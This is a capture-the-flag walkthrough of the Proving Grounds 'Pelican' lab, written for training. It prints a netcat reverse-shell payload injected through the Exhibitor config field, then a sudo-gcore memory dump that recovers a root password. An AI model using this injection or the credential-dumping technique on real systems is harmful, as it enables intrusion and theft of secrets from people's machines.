

Proving Grounds Practice 7

Proving Grounds Practice — Pelican

Reconnaissance/Enumeration

NMAP

```
# Nmap 7.94SVN scan initiated Sun Dec 10 16:02:28 2023 as: nmap -p- -sV -sC -sT -A -T4 -oN pelican.out -Pn 192.168.187.98
Nmap scan report for 192.168.187.98
Host is up (0.056s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) neg (29)
|_ ssh-hostkey:
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256  bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256  f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp             CUPS 2.2
|_ http-title: Forbidden - CUPS v2.2.10
|_ http-server-header: CUPS/2.2 IPP/2.1
|_ http-methods:
|_   Potentially risky methods: PUT
2181/tcp   open  zookeeper       Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp   open  ssh            OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256  bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256  f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp   open  http            Jetty 1.0
|_ http-title: Error 404 Not Found
|_ http-server-header: Jetty(1.0)
8081/tcp   open  http            nginx 1.14.2
|_ http-title: Did not follow redirect to http://192.168.187.98:8080/exhibitor/v1/ui/index.html
|_ http-server-header: nginx/1.14.2
41665/tcp  open  java-rmi        Java RMI
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
```

Foothold

I started researching the exploits available on the services on the relevant ports and found the zookeeper exploit.

The steps to exploit it from a web browser:

Open the Exhibitor Web UI and click on the Config tab, then flip the Editing switch to ON

In the "java.env script" field, enter any command surrounded by `$()` or ```, for example, for a simple reverse shell:

```
$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)
```

Click Commit > All At Once > OK

The command may take up to a minute to execute.

<https://www.exploit-db.com/exploits/48654>

We write our reverse shell payload in the java.env script field and listen with netcat. and we got our shell

```
(root@kali)-[/home/.../Desktop/machine/practice/linux-machine]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.208] from (UNKNOWN) [192.168.166.98] 47028
whoami
charles
python -c 'import pty; pty.spawn("/bin/bash")'
charles@pelican:/opt/zookeeper$ cd ..
cd ..
```

Privilege Escalation

Sudo

The privilege escalation section with sudo and suid attracts our attention.

```
Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore
Sudoers file: /etc/sudoers.d/charles is readable
charles ALL=(ALL) NOPASSWD:/usr/bin/gcore
```

- The focus is on `/etc/sudoers` and `/etc/sudoers.d/charles`, which define sudo privileges.
- It confirms that:

```
1 charles ALL=(ALL) NOPASSWD: /usr/bin/gcore
```

🧠 What Does This Mean?

- User `charles` is allowed to run `/usr/bin/gcore` as root (**ALL**) without providing a password (**NOPASSWD**).
- This line in `sudoers` gives `charles` limited sudo rights — **only for** `gcore`, nothing else.

Part	Meaning
<code>charles</code>	The user this rule applies to.
<code>ALL</code> (first one)	This rule applies on all hosts (common in local systems).
<code>(ALL)</code>	charles can run the command as any user , including root .
<code>NOPASSWD:</code>	➡ He doesn't need to enter <i>his own</i> password (charles's password) to run the command with <code>sudo</code> .
<code>/usr/bin/gcore</code>	The only command charles is allowed to run with <code>sudo</code> .

📌 Examples

1. Run `cat` as root (with password prompt)

```
bash
alice ALL=(root) /bin/cat
```

• Alice can run `sudo -i root /bin/cat`, but she must enter her own password.

2. Run any command as any user (no password)

```
bash
bob ALL=(ALL) NOPASSWD: ALL
```

• Bob can run anything as any user, including root — no password needed. ⚠️ Full root access

3. Run a specific script as another user

```
bash
denuser ALL=(deploy) /opt/scripts/deploy.sh
```

• `denuser` can run the deployment script as user `deploy`, with:

```
bash
sudo -u deploy /opt/scripts/deploy.sh
```

4. Run a dangerous binary as root, no password

```
bash
charles ALL=(ALL) NOPASSWD: /usr/bin/gcore
```

• As explained earlier, charles can run `gcore` on any PID, including root processes.

5. Allow user to restart a service (limited control)

```
bash
jane ALL=(root) NOPASSWD: /bin/systemctl restart apache2
```

• Jane can run:

```
bash
sudo /bin/systemctl restart apache2
```

But she can't control other services — only `apache2`.

6. Run a shell as another user (very dangerous)

```
bash
mark ALL=(ALL) NOPASSWD: /bin/bash
```

• Mark can run:

```
bash
sudo /bin/bash
```

and instantly gain root or any other user's shell.

So What Does the First `ALL` Mean?

It means the rule applies on **all hosts**.

This is useful in large environments with **multiple servers**. For example:

Example 1 – Using `ALL` (applies everywhere):

```
bash
```

[Copy](#)[Edit](#)

```
alice ALL=(ALL) /bin/cat
```

- ◆ This works on any host in the environment.

Example 2 – Limiting to specific host:

```
bash
```

[Copy](#)[Edit](#)

```
alice webserver1=(ALL) /bin/cat
```

- ◆ This means: "Only allow `alice` to use `/bin/cat` with `sudo` on the machine called `webserver1`."

So, if you copy this rule to a system named `dbserver1`, it won't work there.

Where Do Hostnames Come From?

They're based on the system's hostname (as returned by `hostname`).

```
bash
```

[Copy](#)[Edit](#)

```
hostname
```

If the hostname doesn't match the one in the sudoer.  ie, the rule won't apply — unless it's set to `ALL`.

gcore

Understanding `gcore`

`gcore` is a tool that generates a **core dump** of a running process. A core dump is a snapshot of the memory used by a process at a given time. This can include:

- Plaintext passwords
- Encryption keys
- Environment variables
- Sensitive files in memory

Targeting the `password-store` Process

You noticed a process related to `password-store`, which is likely:

- A password manager storing credentials in memory.

```

root@pelican:/opt/zookeeper# ps -aux | grep "password"
ps -aux | grep "password"
root      527   0.0  0.0   2276   144 ?        Ss   07:33   0:00 /usr/bin/password-store
root     30176   0.0  0.0   6208   892 pts/0    S+   07:56   0:00 grep password

```

So you:

- Found its **process ID (PID)** (e.g., using `ps aux | grep password-store`)

- Ran: `gcore <PID>`

This creates a `core.<PID>` file with the full memory contents of the process.

Exploit this vulnerability using gcore

We learn which command to run with gtfobins.

 **gcore** ☆ Star 11,645

`File read` `SUID` `Sudo`

It can be used to generate core dumps of running processes. Such files often contains sensitive information such as open files content, cryptographic keys, passwords, etc. This command produces a binary file named `core.$PID`, that is then often filtered with `strings` to narrow down relevant information.

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
gcore $PID
```

```

charles@pelican:/opt/zookeeper$ sudo /usr/bin/gcore 527
sudo /usr/bin/gcore 527
0x00007f31c88806f4 in __GI__nanosleep (requested_time=requested_time@entry=0x7fffe1091db0, remaining=remaini
28
28      ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.527
[Inferior 1 (process 527) detached]

```

Extracting Sensitive Data

Then we read the resulting file with the string command. There is a password inside the file. We can switch to the root user with this password.

 Purpose of `strings`

- Binary files (like executables, core dumps, or images) often contain chunks of readable text (e.g., passwords, messages, paths, debug logs). `strings` helps you pull those out.

You used the `strings` command to scan the core dump for readable text:

```
1 strings core.<PID> | less
```

Inside the dump, you found a **plaintext password** that appeared to be a **root password**.

```
charles@pelican:/opt/zookeeper$ strings core.527
strings core.527
```

Switching to Root

Now that you had the root password, you:

- Switched user to root with: `su -`
- Entered the password from the memory dump
- Gained **root access** 🟢

```
charles@pelican:/opt/zookeeper$ su root
su root
Password: ClogKingpinInning731

root@pelican:/opt/zookeeper# ls
```